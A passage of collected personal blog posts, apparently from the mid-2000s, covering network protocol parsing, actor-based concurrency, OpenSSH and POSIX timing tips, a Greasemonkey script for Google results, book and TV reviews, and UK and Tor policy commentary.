  So that's the evangelising for now. People should use parser generators for network protocols because who the hell wants to write another damm HTTP parser by hand (which you'll probably screw up)?

  More tricks

  Parsing is good. But there are more state machines in network protocols than just parsing. Take SMTP:

  220 imperialviolet.org ESMTP
  MAIL FROM: foo@foo.com
  250 ok
  RCPT TO: bar@bar.net
  250 ok
  DATA
  354 go ahead
  Subject: testing
  
  Hello there!
  .
  250 ok 1114338782 qp 5232
  QUIT
  221 imperialviolet.org

  Here a valid conversation can't have a DATA after the RCPT TO if the RCPT TO failed. So you could have the parser working line-by-line and a higher level state machine tracking the valid commands at this point etc. (I would admit that a per-line generated parser for SMTP would be overkill.)

  So let us introduce two new terminals: T and ⊥ which are «command successful» and «command failed». We can inject these into the parser when we're finished processing a command and then define a conversation something like this:

  RCPTTO = RCPTTOCommand
  RCPTTO = RCPTTOCommand, ⊥ RCPTTO
  SMTPConversation := HELOCommand, T, MAILFROM, T, RCPTTO, T, DATA, T

  (That's not RFC at all, but humor me.) So a client can have as many failed RCPT TO commands as they like, but can't send a DATA command until one has completed. Thus, if the parser parsed it, it's a valid command and you don't need to keep track of the state yourself.

  On Intelligence

  Review: On Intelligence, by Jeff Hawkins

  I finished this book with a sense of dissatisfaction. The author makes some fairly grandiose claims about advancing the state of AI and normally that would be the sign of a moonbat. However, I was impressed with what little I saw of his talk at Google last year.

  Sadly this book is very dilute. There is some good stuff in there but I think that his co-author (almost certainly forced on him by the publisher) had been told to water it down for a more lay audience. About half the paragraphs in the book need removing.

  There's something worthwhile in there. What I take away from this book is a resuscitated hope that there is a general algorithm for the brain. So many AI papers have claimed that their algorithm was the magic fairy dust that myself, and others, had mostly given up on the whole venture - conceding that the brain was inelegant.

  But given the scant neurological evidence presented in the book what would have really sold me is a good computer implementation. He makes grand claims about the possibility of one without ever trying it out. There is something along those lines here, but nothing seems to be moving very fast.

  Maybe the ideas here will shape a future AI revolution, but the author isn't fanning the flames with this book.

  Directions in future languages - edge triggered IO

  This is a follow up to the actors model post, below. That was a fairly generic advocation and this is a specific demonstration of how to build a small part of such a system.

  In an actors model (in mine at least) actors only ever block on message receive. Blocking on I/O is not an option and so one uses all the usual techniques of setting O_NONBLOCK. One actor in the system is special, however, and blocks on an I/O multiplexing call (select, poll etc). This actor sends signals to other actors when interesting I/O is ready.

  

  So assume that the I/O actor is using select/poll to wait for events. Data arrives from the network, sending the descriptor high, and the poll call returns. The I/O actor fires a message off to the correct actor and carries on.

  However, the next poll call will return immediately because the other actor probably hasn't had a chance to perform a read and empty the kernel buffers yet. So the only option is to remove the descriptor from the set of `interesting' ones and force any actor which wants to do I/O to reenable it with a message as soon as they have finished reading.

  This is a mess as it involves lots of messages going back for forth. There is a better way.

  Recent multiplexing calls (epoll under Linux 2.6, kqueue under FreeBSD and realtime signals under Linux 2.4) have an edge triggered mode. In this mode the call only delivers events on a rising edge. So if a socket becomes readable it will tell you once. select and poll will tell you whenever the socket is readable.

  This is clearly ideal for an actors model. The I/O actor waits for edge notifications and sends messages. The descriptor doesn't need to be removed from the interesting set and another actor can read the data at its leasure.

  In the case of flow control even the descriptor need not be removed. An actor can just ignore the edge message if it doesn't currently want more data. In the future it can read until EAGAIN and then start waiting for edge messages again.

  Thus my actors which talk to a socket end up looking like this:

  def run(self):
  	send-message-to-io-actor-registering-my-interest-in-a-certain-fd()
  
  	while True:
  		if interested-in-reading-data:
  			read-data-until-EAGAIN()
  
  		message = receive-message()
  		if message == edge-notification-message:
  			continue
  		...

  Directions in future languages - actor based concurrency

  What I'm looking for is a quote from Zooko about why any kind of preemptive or co-operative threading model is unsettling. I can't find one so I'm going to make it up:

  I don't like it because I can never be sure, from line to line, that the world hasn't just changed behind my back. -- not zooko

  Which is true; tragically so in preemptive systems and enough to keep you on your feet in syncthreaded (co-operative) ones. I've long said that it's far too easy to screwup preemptive multithreading with its locks, deadlocks, livelocks and super-intelligent-shade-of-the-colour-blue locks. Syncthreading quietens down things enough for me and yet lets you keep the same flow-of-control.

  (I like the flow-of-control. Fully asynchronous code with huge state-machines is a mess.)

  But I've just dumped syncthreading for an actors model in my current project - mostly for non-concurrency related reasons. (And certainly not because I have a compulsive disorder which causes me to dump and rewrite any code which is starting to work .)

  An actors model involves many threads co-operating via copy-everything message passing. It's an asynchronous pi-calculus if you like that sort of thing (which I don't). Copy-everything means no shared data and no locks. At all.

  The majority of threads are short classes (a couple of pages of Python) with a simple specification. They are nearly all small state-machines which return to the same point after each message. There's a single blocking function - recv which gets the next message.

  You break up threads in much the same way you break up functions. You get a feel for how much complexity should be contained in each one. The diagram on the right is taken from my project report at the moment - each block is an actor (and a single class) and they exchange messages with the other blocks that they're connected to. It may look a little complex, but that's smaller than the class inheritance diagrams in many systems.

  Any the reasons for choosing it over syncthreading are a little odd for a concurrency model: modularity and unit testing.

  I like unit tests. I don't think there's a whole lot of disagreement about their utility so I'm going to leave it at this: unit tests good.

  It's always good and easy to write unit tests for some things - data structures are prime choice. Lots of scope for silly errors and no side effects. You can write a good data-structure unit test and feel good about yourself.

  It's side effects which make unit tests difficult to write. If your code interacts with the outside world, bets are your unit tests are limited.

  And that's the wonderful thing about actors - almost nothing interacts with anything else directly. It's all via message passing and that's eminently controllable by unit tests. If you want to test your timeout logic in a unit test it's not a problem. Timeouts are just messages like anything else and you can sent them in any order you choose.

  Likewise I'm fairly sure that the code ends up being naturally more reusable. For all the same reasons; a lack of direct external dependencies.

  My design is mostly taken from Erlang. There are a lot of links in the C2 wiki page but there was a very good talk about Erlang at the LL2 conference and they recorded it. It's real-media but mplayer copes with it for me.

  Market Forces

  Market Forces is from the same author as Altered Carbon. I read the latter some time ago and, although I quite enjoyed it, I didn't feel that I'd actually gained anything by the end of it. I'm quite happy just reading for pleasure but, with every book there's a scale of effect, from the profound to these two. These are deeply unimportant books.

  Market Forces is billed as some great anti-globalisation work and is meant to be about large multi-nationals who take sides in wars for a piece of the post-war pie. Frankly, our governments do this already and so the idea isn't very shocking.

  But the focus is on the lead character, Chris Faulkner, who is a rising star in this corporate world. The book also tries to be a character development story, charting how power corrupts - or something. I didn't ever feel that I understood or empathised with this character. His fall from grace seemed more a series of random acts than a warning shot that we can all be driven to immoral acts in a corrupting environment.

  And much of the action involves legal kill-or-be-killed car battles. These companies compete for deals by having the best drivers in a ritual combat. Why? I assume there's an answer in the author's head, but he certainly didn't write it down for the rest of us.

  DVD: Battlestar Galactica

  Battlestar Galactica [introduction mini-series][series 1] - yes it was that film that they show on TV at Christmas with the robot dog and the baddies who look like tin cans with the front of the Knight Rider car glued on. Forget it. This isn't a remake, it's a thousand times better.

  Although has some of the same story elements as the original this show has great writers, great cast and looks beautiful. Watch it.

  In other news

  Welcome to Britain. As soon as it gets Royal Assent:

  • You can be arrested for any offense. Once arrested you have to give fingerprint and DNA samples which will be kept on record for ever.
  • You need written permission from the police commissioner (who answers to the Home Secretary) in order to protest within 1km of Parliament. That extends to cover Vauxhall Bridge, all of Waterloo, Trafalgar square and falls just shy of Hyde Park Corner.

  I suppose we should be thankful that the ID cards bill got dropped:

  "Labour's manifesto will confirm that the reintroduction of identity cards legislation will be an early priority after the election."

  Sony patent takes first step towards real-life Matrix. The described device seems very interesting and probably worthy of the patent ... if it worked. Quoting from that NS text:

  There were not any experiments done ... This particular patent was a prophetic invention. It was based on an inspiration that this may someday be the direction that technology will take us.

  And reminding ourselves about the requirements for a patent:

  An invention is the creation of a new technical concept and the physical means to implement or embody the idea. That physical means, prototype, or tangible form referred to as reduction to practice is what separates a discovery from an invention.

  So; yet another result of the super-secret US patent office source code: while 1: print 'granted'

  Fixing LCD subpixel hinting

  Subpixel hinting uses that fact that LCD displays have separate red-green-blue cells in order to triple the x resolution of the display resulting in nicer fonts etc.

  However, this assumes that the system knows the ordering of the cells in the LCD, and this differs from system to system. If, when you look at your fonts, you see a red and blue tinge at the edges of vertical strokes, your font render has guessed wrong.

  In that case, drop this little file into your homedir as ~/.fonts.conf, restart programs and everything will be fixed. You're welcome.

  <?xml version="1.0"?>
  <!DOCTYPE fontconfig SYSTEM "fonts.dtd">
  <fontconfig>
         <match target="font">
                 <edit name="rgba" mode="assign"><const>gbr</const></edit>
         </match>
  </fontconfig>

  Gmail: still counting

  Google doubles GMail storage to 2GB - wrong. Should read "Google increases GMail storage to 2050MB and still counting" .

  (Though looking at the page source suggests that it will stop at 2075MB)

  Why POSIX AIO has such a schizophrenic time

  The Linux AIO effort is doing pretty well. It now has kernel interfaces to handle the AIO calls and the performance is looking pretty good.

  Talking about AIO is often an odd experience because people don't realise that it does a completely different job to asynchronous network IO. There are two utterly separate problems that AIO can solve:

  • High performance IO: giving the kernel better information about future IO requests thus allowing it to order them for better throughput etc.
  • Issuing IO requests without blocking.

  Networking calls have always had a non-blocking option since Berkeley sockets. Filesystem IO has never had one for some reason. This leads to programs which either handle filesystem congestion very badly or by using IO worker threads to try and cope in an otherwise single-threaded program.

  For an example of the first, try having an NFS mounted home directory when the network fails. Everything drops into disk-wait because all the filesystem calls block for many minutes.

  Networking calls have always been non-blocking because everyone knows that network calls can take ages to complete. But with the relative speed of modern CPUs/Memory against disks (and certainly network based filesystems) we really need non-blocking file IO.

  Sadly the POSIX AIO API only deals with the first problem. open, getdents etc calls still block.

  So, kernel developers, quit tweaking little things. We want some real progress! Give us non-blocking file IO which works with epoll.

  Update: Something I didn't make clear. Non-blocking support is a stronger feature than high-performance support. If a kernel has non-blocking filesystem support it implies that it has high-performance support too.

  Future Battles

  I'm sure that everyone who uses Firefox (1.0.2, keeping up with the security releases, right?) has discovered AdBlock. A more useful plugin doesn't exist (well, maybe greasemonkey with some good scripts) but I think we can expect that AdBlock is going to work a whole lot worse quite soon.

  We've seen the efforts that some sites put into getting pop{up|under}s passed blockers. They don't seem to be doing too well from my point of view, but may be I just don't go to the right sites. None the less, they are fighting a loosing battle. Fundamentally the browser can stop Javascript on random sites from opening new windows - it's not rocket science.

  The battle AdBlock is fighting is the other way round. For the moment, many sites are neatly organised with all their adverts in a directory called /ads/, or from a host called advertising.com. This makes AdBlock work very well with simple patten matching. But I soon expect that we'll see sites where every image is a random filename.

  What do we do then? We could use greasemonkey scripts to rewrite the webpage as we like, right? We could remove the adverts and we can get rid of non-image adverts too (which AdBlock currently doesn't).

  That's going to work for a while; probably a long time after AdBlock stops working due to the amount of effort required to create each script. Someone only needs to create it once, but there are a lot of websites and people will have to download and install these things etc.

  I don't expect it will work forever. There's a strange idea amongst people who call themselves "content producers" that it's wrong for you to view their content in any way other than as they intended it. (For examples see Odeon reacting to an excellent scrape and most of the anti Google Autolink stuff recently).

  It's more difficult to imagine how they're going to stop it but, as tools like greasemonkey become better, expect to see DOM obfuscators running in webservers. These will mess up the HTML differently for every GET request. The pages will look the same in a browser, but you won't be able to use nice class names and such to extract the bits you need.

  (The greasemonkey script below would be far more complex if Google didn't neatly put search results into their own class.)

  Within a few years I expect that we'll have AI-like filters to remove adverts and obfuscators+human workers doing their best to defeat them. Much as spam filters work today.

  But that's a ray of hope because the efforts put into spam filters have paid off. I get 30+ spam messages a day (after simple blacklist filtering which removes a lot) and Gmail's filters have a 0% percent false-positive rate and maybe 1-2% false-negative. That's very good.

  Dealing with too many config files

  I've finally got round to doing something about keeping all my config files in sync across the five different hosts that I ssh to regularly.

  I've created a SVN repository with my config files in and symlinked the dot files to the checked out version.

  .zprompt -> .aglconfig/agldotfiles/zprompt-green
  .zshrc -> .aglconfig/agldotfiles/zshrc
  .zlogin -> .aglconfig/agldotfiles/zlogin
  .zshenv -> .aglconfig/agldotfiles/zshenv
  .vimrc -> .aglconfig/agldotfiles/vimrc
  .gvimrc -> .aglconfig/agldotfiles/gvimrc
  ...

  I can now keep them synced across all the boxes and I've a little tar ball in the repository as well which creates all the symlinks for me. I can borgify a new install with two commands now

  I should have done this years ago.

  The wonders of GreaseMonkey

  GreaseMonkey is a Firefox extension which allows you to install Javascript scripts which can manipulate webpages before they're displayed.

  You can see a list of GreaseMonkey scripts, but as a demo have a look at the one I cooked up below. It adds result numbers to Google search results and you can then select that result with a single keypress (press '1' for the first result etc).

  Type-ahead-find often goes pretty badly on search results because (you would hope) many of the results have all the same keywords in them.

  (If you have GreaseMonkey installed, you can install this script by following this link and selecting "Install User Script" from the Tools menu.)

  /*
  	Add one-press access keys to Google search results. Search results
  	are numbered in red and pressing 1..0 selects that search result.
  	A Firefox Greasemonkey script,
  	Version 0.1
  	Adam Langley <agl@imperialviolet.org>
  
  	Public Domain
  */
  
  // ==UserScript==
  // @name 			Google Searchkeys
  // @namespace 		http://www.imperialviolet.org
  // @description 	Adds one-press access keys to Google search results
  // @include 		http://www.google.*/search*
  // ==/UserScript==
  
  (function() {
  	// Search results are in p elements with a class of 'g'
  	// This uses XPath to find all such elements and returns a 
  	// snapshot. (A snapshot doesnt become invalid after changing
  	// the DOM
  	
  	var results = document.evaluate("//p[@class='g']", document, null, 
  			XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);
  	var counter = 1;
  	
  	// We store the links in this array which is used by the keypress
  	// handler function
  	var links = new Array();
  	
  	for (var i = 0; i < results.snapshotLength; ++i) {
  		var result = results.snapshotItem(i);
  		// the first child of the paragraph is a comment element
  		// this is a little fragile, maybe should be an XPath lookup
  		links.push(result.firstChild.nextSibling.getAttribute("href"));
  
  		// We put the result number in a small-caps red span
  		var newspan = document.createElement("span");
  		newspan.setAttribute("style", "color:red; font-variant: small-caps;");
  		newspan.appendChild(document.createTextNode("Result " + counter++ + " "));
  		result.insertBefore(newspan, result.firstChild);
  	}
  
  	function keypress_handler(e) {
  		// e.which contains the ASCII char code of the
  		// key which was pressed
  		// see: http://web.archive.org/web/20040214161257/devedge.netscape.com/
  		// library/manuals/2000/javascript/1.3/reference/
  		// handlers.html#1120313
  		
  		var keypressed = String.fromCharCode(e.which);
  		if (keypressed < '0' || keypressed > '9') {
  			return true;
  		}
  
  		var resnum = e.which - "0".charCodeAt(0);
  		if (resnum == 0) {
  			resnum = 10;
  		}
  		document.location = links[resnum - 1];
  
  		return false;
  	}
  
  	document.onkeydown = keypress_handler;
  })();
  
  
  

  OpenSSH: Old dog, new tricks

  OpenSSH has hit version 4.0 (and 4.0p) and with that comes at least one cool new feature: hostname hashing.

  If you (or anyone) cats ~/.ssh/known_hosts it lists all the hostnames of every host you ssh to. Probably not a big problem, but the new version of ssh lets you run ssh-keygen -H to hash all these values so that they look like:

  |1|bZ457JK38+Bee4NMHxZMmkMqyKg=|+J6sIIzIAoUirdxXwY04fBsb8QQ= ssh-rsa AAAAB3NzaC1y
  c2EAAAABIwAAAIEAljhZCk8u8rVqR7YdQxGGG7YBW0uDJq/s9J9hqZlHFs10dX1PHEYsQQf7GV5SB5qLI
  6bZcYTZ2OrBOQjlJdp7xPWqCdh3TGEfPUARf5K0tFYCBpFNXt9Fjb2gZDIxG/PAT+JZHJOh66u147QYMo
  J3s1MRBoXXm7tSmlwm+QeBcAE=

  This, obviously, is a fairly irreversible step (though ssh-keygen does make a backup, the same file name is used for every backup. So it lasts, at most, until the next time ssh-keygen changes the known hosts file.) It also means that you have to use the ssh-keygen -R to delete entries from now on.

  Other things that people should do more often: Use ssh-keygen -l and publish the fingerprint of hosts which you expect people to ssh to. Over the phone you can use the -B option to get a more readable version.

  Also, use ssh aliases. This is an old trick, but it save a lot of typing of hostnames and usernames (if your username varies across boxes at all). Just put something like this into ~/.ssh/config:

  Host alias-name
  HostName long.hostname.of.the.host.com
  User optional-username

  Any option from man 5 ssh_config can go in there.

  Tags: OpenSSH

  Just how important is a monotonic clock?

  In discussions with Zooko I did a little test to see how important the addition of CLOCK_MONOTONIC is really.

  The alternative to using CLOCK_MONOTONIC is to have an itimer which increments a global, volatile counter at some number of Hz. You can do that with something like the following:

  struct itimerval itv;
  memset(&itv, 0, sizeof(itv));
  itv.it_interval.tv_sec = 1;
  itv.it_value.tv_sec = 1;
  
  struct sigaction sa;
  memset(&sa, 0, sizeof(sa));
  sa.sa_handler = sigalrm_handler;
  sigaction(SIGALRM, &sa, NULL);
  
  setitimer(ITIMER_REAL, &itv, NULL);

  So I setup a test which tracks the difference between the true time elapsed (from CLOCK_MONOTONIC) and the count of global timer value. Firstly at 10Hz:

  Nsecs elapsed	Global Tick Count	Skew in global count
  3029049000	30	0
  6061401000	60	0
  9090753000	90	0
  12120089000	120	1
  15149773000	150	1
  18178802000	180	1
  21211143000	210	2
  24240480000	240	2
  27269822000	270	2
  30299166000	300	2
  33328513000	330	3
  36357867000	360	3
  39389203000	390	3
  42418558000	420	4
  45447899000	450	4
  48477242000	480	4
  51506593000	510	5
  54537964000	540	5
  57567285000	570	5
  60596633000	600	5
  63625987000	630	6
  66655324000	660	6
  69686677000	690	6
  72716018000	720	7
  75745363000	750	7
  78774714000	780	7
  81804702000	810	8
  84854641000	840	8
  87864766000	870	8
  90894098000	900	8
  93923444000	930	9
  96952794000	960	9
  99985163000	990	9
  103014486000	1020	10

  So, after 100 seconds the counter is already one second off. That's pretty terrible. Trying it again at 1Hz gives better results. I'm not going to give the whole table here but the skew is about 1 second lost every 20 minutes. Still not great.

  Tags: time programming POSIX

  Acroread 7 for Linux

  Hopefully this one will stay around for a little while longer: Acrobat Reader 7 for Linux. The last release disappeared very quickly.

  Why would you want this? Well, acroread is the bet quality PDF renderer around I'm afraid. It's big, statically linked and note very fast. But if you're reading a big PDF on screen it's probably worth it.

  (Note: once installed goto the Reader/intellinuix directory and rename plug_ins to plug_ins_disabled. It starts much faster, takes less memory and I've no idea what all those plugins do since it seems to work just as well without.)

  Update: It was released to help "people in the Netherlands meet tax deadlines"

  Tags: Acrobat PDF

  SSL Libraries

  For anyone using OpenSSL for implementing SSL can I suggest theat you look at GnuTLS first? Actually, scratch that. Look at GnuTLS second, after you've seen what the state of the OpenSSL code and documentation are.

  I can't argue that GnuTLS has had the same level of inspection and bug hunting that OpenSSL has, and maybe that's a clincher, but it actually has good docs, with examples and everything. It's based on gcrypt (the core of gnupg I believe) and you're much less likely to screw up when using it than you are with OpenSSL.

  (I've no fiscal or otherwise interest in GnuTLS, this is just from trying and giving up with OpenSSL over the last couple of days.)

  Tags: programming gnutls openssl ssl

  Monotonic Time

  How long has a monotonic clock been sitting in POSIX without me noticing? The lack of one has really bugged me in the past. gettimeofday is useless for many timekeeping tasks because it can jump backwards and forwards with the tides of daylight savings, NTP and switching timezones. One doesn't want every timeout to suddenly trigger because they're all `over an hour overdue`, or (possibly worse) not trigger for an hour. Usually I use settimer to increment a one second resolution counter and hope for the best.

  But behold! clock_gettime (go read the manpage) can be passed a CLOCK_MONOTONIC argument and on my system at least (2.6.11, glibc CVS Jan 2005) it's a system call which returns the current uptime of the system with nanoseconds. Fantastic.

  (Note: you need to link against librt.)

  Is it really beyond the w...

  Is it really beyond the wit of man sshd-authors to log an error message saying Rejecting login due to shell not being in /etc/shells??

  In fact, if such an event occurs the error message is Failed password which, when your password goes via pam, via Kerberos 5 to a Windows Active Directory server can really take quite a while to track down what the hell's wrong.

  Free Municipal WiFi

  Lessig writes a satirical reply to a bill on the desk of the governor of Philadelphia which would prevent the state from funding free-to-use WiFi networks. I happen to think that Lessig's condemnation of this is ill considered.

  I believe that some products don't work in a free market, while others should only ever be setup in one. National defence is an example of the first and Lessig is correct that street lighting probably is too. Lots of things are at the other end, luxury items most surely.

  It may be reasonable to worry that a bill which prevents the state from offering any service which could be provided privately is quite stupid, but this has been mixed up with the idea that telecoms companies are using the legislative process to destroy `competition' from the state in the broadband market. The latter feeling rests upon the assumption that it's a good idea for the state to offer free-to-use WiFi and Lessig's writings are being used to support that.

  So where is WiFi on the scale from national defence to chocolate cake? The closest example is mobile phone service. This isn't provided by the state, and I've never heard anyone suggest that it should be. Certainly this leads to some duplication of base stations, I'm sure. But more importantly it has lead to better phone service through competition. Does anyone believe that the quality of service would be better, or the costs lower, if mobile phone service was provided by the state?

  So why should WiFi be `free'? (I've used to quotes because, of course, everyone is forced to pay for it, it's just mashed together with the rest of the local tax.)

  There may be some argument that people need broadband in the same way that public libraries are a good idea. But even I wouldn't suggest the broadband is that important. Indeed, broadband usage in the US has fallen (in terms of world rankings) quite sharply in recent years suggesting that American people agree. If there was demand for broadband then I suspect companies would be offering it in more areas of Philadelphia already.

  New Dr. Who

  I'm now utterly convinced that the leak of the first episode of the new series of Dr. Who was not a cunning viral marketing ploy. It's rubbish. It plays like a episode of Neighbors with a phone box in it. The special effects of the old series were charmingly primitive. I'm not sure if the effects in the new series were trying to emulate that or if they were just dire. I couldn't even watch it all the way through.

  (NB: This server heeps wi...

  (NB: This server heeps will be down for upgrades from 11am GMT tomorrow until it's finished.)

  I don't have a whole lot to write about at the moment, as the timestamps on this pages will attest to.

  It's my third, and final, ride round the merry-go-round at Imperial as the second term draws to a close and the Easter revision period looms large. At the end of this period lie the exams - painfully spread out - and the guilt of knowing that I should probably be doing more revision tempered with the knowledge that my mark was probably set in the first couple of weeks of the course; when I figured out if I liked it. Never has anything managed to motivate me to do something which I don't enjoy.

  And then (after a long gap in which I've nothing to do and no money to do it with) I'm probably going to be leaving it all behind. Possibly going to Zürich, slim chance of Mountain View.

  Brian Sedgemore MP on the Prevention of Terrorism Bill

  (Hansard source, theyworkforyou link)

  As this will almost certainly be my last speech in Parliament, I shall try hard not to upset anyone. However, our debate here tonight is a grim reminder of how the Prime Minister and the Home Secretary are betraying some of Labour's most cherished beliefs. Not content with tossing aside the ideas and ideals that inspire and inform ideology, they seem to be giving up on values too. Liberty, without which democracy has no meaning, and the rule of law, without which state power cannot be contained, look to Parliament for their protection, but this Parliament, sad to say, is failing the nation badly. It is not just the Government but Back-Bench Members who are to blame. It seems that in situations such as this, politics become incompatible with conscience, principle, decency and self-respect. Regrettably, in such situations, the desire for power and position predominates.

  As we move towards a system of justice that found favour with the South African Government at the time of apartheid and which parallels Burmese justice today, if hon. Members will pardon the oxymoron, I am reminded that our fathers fought and died for libertymy own father literallybelieving that these things should not happen here, and we would never allow them to happen here. But now we know better. The unthinkable, the unimaginable, is happening here.

  In their defence, the Prime Minister and the Home Secretary say that they are behaving tyrannically and trying to make nonsense of the House of Lords' decision in A and Others as appellants v. the Home Secretary as respondent because they are frightened, and that the rest of us would be frightened too if only we knew what they will not tell us. They preach the politics of fear and ask us to support political incarceration on demand and punishment without trial.

  Sad to say, I do not trust the judgment of either our thespian Prime Minister or our Home Secretary, especially given the latter's performance at the Dispatch Box yesterday. It did not take Home Office civil servants or the secret police long to put poison in his water, did it? Paper No. 1, entitled "International Terrorism: the Threat", which the Home Secretary produced yesterday and I have read, is a putrid document if it is intended to justify the measure. Indeed, the Home Secretary dripped out bits of it and it sounded no better as he spoke than it read. Why does he insult the House? Why cannot he produce a better argument than that?

  How on earth did a Labour Government get to the point of creating what was described in the House of Lords hearing as a "gulag" at Belmarsh? I remind my hon. Friends that a gulag is a black hole into which people are forcibly directed without hope of ever getting out. Despite savage criticisms by nine Law Lords in 250 paragraphs, all of which I have read and understood, about the creation of the gulag, I have heard not one word of apology from the Prime Minister or the Home Secretary. Worse, I have heard no word of apology from those Back Benchers who voted to establish the gulag.

  Have we all, individually and collectively, no shame? I suppose that once one has shown contempt for liberty by voting against it in the Lobby, it becomes easier to do it a second time and after that, a third time. Thus even Members of Parliament who claim to believe in human rights vote to destroy them.

  Many Members have gone nap on the matter. They voted: first, to abolish trial by jury in less serious cases; secondly, to abolish trial by jury in more serious cases; thirdly, to approve an unlawful war; fourthly, to create a gulag at Belmarsh; and fifthly, to lock up innocent people in their homes. It is truly terrifying to imagine what those Members of Parliament will vote for next. I can describe all that only as new Labour's descent into hell, which is not a place where I want to be.

  I hope that but doubt whether ethical principles and liberal thought will triumph tonight over the lazy minds and disengaged consciences that make Labour's Whips Office look so ridiculous and our Parliament so unprincipled.

  It is a foul calumny that we do today. Not since the Act of Settlement 1701 has Parliament usurped the powers of the judiciary and allowed the Executive to lock up people without trial in times of peace. May the Government be damned for it.

  Why we shouldn't have security regulation

  Bruce Schneier is calling for regulation of software to punish companies who release programs with security problems. This is stupid (sorry Bruce):

  1. Govt regulation is bad: It creates bureaucracy, its rules are complex, arbitrary and inflexible and it costs ... lots. Unless there is a clear benefit to regulation, which gains us more than it costs, then we shouldn't do it. This means that the burden of proof is on the other side.
  2. Who knows what the hell those crazy fools will come up with?: Let's face it. If we're talking about laws to regulate the tech industry then the people voting on them are mostly the same lot which gave us the DMCA (if you're in the US), the EUCD and (very nearly) software patents (if you're EU). These people are not competent to regulate software.
  3. Who are they to decided on the balance of security?: Security is a trade off. People still run phpBB, despite its security record because they think it's functionally superior and that that makes up for the security. That seems to work well for sites like forums.gentoo.org, but other people (myself included) treat running phpBB as the security equivalent of bending over in the prison showers.
  4. What about open-source (etc) software?: Leading on from the second point .. who's to say that you won't be able to release open-source software without liability insurance? If software makers are going to be fined for security problems how is this going to be avoided? Do you trust them to draw that line properly?
  5. What's a security problem?: While they're at it you can be sure that there will be a push from some quaters to get tools like nmap and nessus banned (or made impossibly expensive for their authors). I'm sure that the MPAA and RIAA would define the end-to-end nature of the Internet as a security problem, would you?

  Yes, this is fear-mongering. There's a possibility that a given law will be very sensible and reasonable (a thousand monkeys etc). But I'm saying that we shouldn't even start down that road because it will probably end up somewhere very bad and we won't be able to steer it once it starts.

  Directions in Future Languages - Lock-Free malloc

  Normally I'll just bookmark papers, but I've found one that deserves better treatment: Scalable Lock-free Dynamic Memory Allocation. It was presented at PLDI04 and is everything a paper should be: practical, clear and with great results.

  The author presents a malloc implementation which is lock-free (so you can call it from signal handlers, or kill threads and not cause deadlock etc) and it's faster (on SMP boxes) than the other mainstream concurrent allocators (Hoard and PTMalloc specifically).

  For anyone at Imperial, you should come to a talk by Tim Harris on this subject on March 9^th (details to be announced).

  Entertain

  And everyone at (or near) Imperial should come to the charity ball in the Great Hall on the 26^th of this month. Tickets are £10 and every penny goes to charity.

  

  Why Application Level Filtering in Tor is Bad

  Background for those who need it: Tor is an onion routing network for TCP streams that allows users to be fairly anonymous while using HTTP/IRC etc. The TCP connections are bounced round the Tor nodes and come out somewhere unrelated to the real source of them.

  Of course, over such networks abuse happens. At the moment the most concerning is the spamming of Usenet via Google Groups. Not all Tor nodes allow themselves to be the final (exit) node in the chain as that node is where the connection appears to be coming from (at the IP level) to whoever is the target of the connection. Those that do only allow certain destination ports - 80 is a very common one. Thus people can use Tor to access Google Groups and post spam to Usenet.

  (It's suspected, for a number of reasons, that people are doing this in order to trigger complaints to the ISP of the exit nodes and thus it's an attack on the Tor network as a whole. Some people truly believe that anonymity is evil.)

  Tor exit nodes can refuse to connect to Google Groups and this is reported in the Tor network wide directory of nodes. Thus clients can check which nodes will support a connection to the destination that they require and choose those nodes as exit nodes. However, a running game of blocking websites used for abuse is probably an unwinnable game. Also, why shouldn't people be able to read Google Groups over Tor? It's only posting that is concerning.

  Thus some people (e.g. myself) have suggested that the exit nodes should be able to parse outgoing connections (HTTP being a very good example) and reject POST requests and the like. Here's why this is a bad idea.

  This policy could be described in the directory, as IP based policies currently are but they can't be used because the first Tor node (client) cannot know if the browser is going to need to POST before creating the connection, and the exit node is chosen at that point. Thus the exit nodes are chosen randomly and some will have POST blocked.

  Tor users then experience random failure of posting. Sometimes it will work, sometimes is doesn't. So the whole network will be dragged down to the level of the most restrictive exit node - because anything else will randomly fail.

  Tags: tor

  Right To Protest

  Our dear government has announced that there will be a crackdown on protesters in the new crime bill which is going though the motions at the moment.

  This is clearly (and explicitly, in all but the wording of the bill) aimed at `animal rights' protesters who have, in recent times, stepped up their campaigning to include grave robbing, hate mail, vandalism, etc. The arguments are predictable and the animal rights `protesters' are claiming that this is an attack on their right to protest.

  I believe that a right to protest should exist. Protesting gives a voice to those that cannot be heard another way. This may be because of financial limits, or because the media refuses to carry their story. As a firm believer in freedom of speech, I think that protesting is an important form of communication.

  However, the right to protest is fairly limited. It's a communication mechanism, not a way to impose ones views on the world. What some animal rights `protesters' are doing has gone far beyond communication, into enforcement.

  I'm slightly off-balance finding myself, as I do, in agreement with the government on this one. They are enforcing their monopoly on violence, which is right. We install a monopoly on violence in the government because we can (hopefully) control it via the democratic process. That democratic process then sets the limits on what the people can do. If it gets it right, the limits should be minimal.

  Animal rights protesters are seeking to impose their own limits on what is already a tightly regulated sector. The government is right to slap them down.

  Tags: politics animal_rights crime protest

  Directions in Future Languages - Software Transactional Memory

  STM is a method of handling concurrency in multithreaded systems. The light at the end of this tunnel is that we wish to able to write the following:

  def add-child(x):
    global children-by-name, children-by-id
    atomic:
      children-by-name[x.name] = x
      children-by-id[x.id] = x

  At no point would any other thread see the child in one map, but not the other. Traditionally this would be done with locks. The maps themselves would have locks inside them, of course, and would thus be `thread safe', but we would need to implement our own locking in order to achieve atomicity between them. An STM says that, when you enter an atomic block, nothing happens until you exit it and then it all happens at once. If another thread altered children-by-name while you were processing the block above the atomic block would be aborted and attempted again.

  Lock-free techniques:

  The design I'm outlining is is from the lock-free group at Cambridge and a good explaination can be found in Keir Fraser's PhD dissertation. So why am I reiterating it here? Partly because I'm probably going need to write something like this for a report of my own at some point, but also because digging into a PhD can be tough work and these ideas deserve to be better known.

  So here's an STM linked list:

  

  The first thing to notice is that nothing holds a direct pointer to anything - they are all via STM object headers. The object header holds the true pointer to the data.

  When starting a transaction, a transaction context must be created. This holds the status of the transaction (undecided at the moment) and two lists; a read list and a write list. In this STM design, objects must be `opened' - either for reading or for writing. When you open an object you get a pointer to the true data and that object is recorded in the context.

  Thus you open the objects you need (say, opening for read each list element in turn until you find one to delete, thus opening the previous one for write). When an object is opened for write, a copy is made and a pointer to that is returned. Thus you don't edit `live' objects.

  So assume that you're removing the last element from this list. Thus you've read the first element and altered the second element (to put a null pointer in its next field). Your memory now looks like this:

  

